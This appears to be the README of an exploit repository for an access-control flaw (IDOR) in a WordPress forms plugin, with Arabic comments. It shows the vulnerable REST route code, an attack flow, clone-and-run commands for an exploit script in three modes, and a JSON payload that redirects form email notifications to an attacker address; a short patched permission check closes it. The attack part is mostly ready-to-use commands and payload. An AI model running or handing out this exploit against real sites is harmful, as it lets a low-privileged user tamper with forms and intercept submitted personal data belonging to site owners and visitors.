POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

// تحديث محتوى النموذج / الاسم
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// تحديث إعدادات النموذج (إشعارات البريد الإلكتروني، التخطيط، إلخ.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) المصادقة كمحرر مساهم
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) استخراج nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) تعداد النماذج المنشورة
        │<─ HTTP 200 ───────────────────────│      (أي نموذج يمكن الوصول إليه هو هدف)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) الكتابة فوق اسم النموذج / محتواه
        │       مع حمولة المهاجم ──────────>│       ← لا يوجد فحص للمالك
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) اختطاف إشعارات البريد الإلكتروني
        │       /settings ─────────────────>│       ← يتلقى المهاجم جميع
        │<─ { "success": true } ────────────│         إرسالات النماذج المستقبلية
        │                                   │
        │   جميع نواقل الهجوم الثلاثة مؤكدة  │  (5) الاسم ✔  المحتوى ✔  البريد الإلكتروني ✔

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

# أعلى ملف exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← غيّر هذا
                    ...
                }
            }
        }
    }
}""")

// ضعيف — كلتا نقطتي النهاية
'permission_callback' => fn() => current_user_can('edit_posts'),

// آمن (مصحح)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # أداة استغلالية محسّنة مع واجهة غنية (3 أوضاع)
├── requirements.txt            # تبعيات بايثون
└── README.md                   # هذا الملف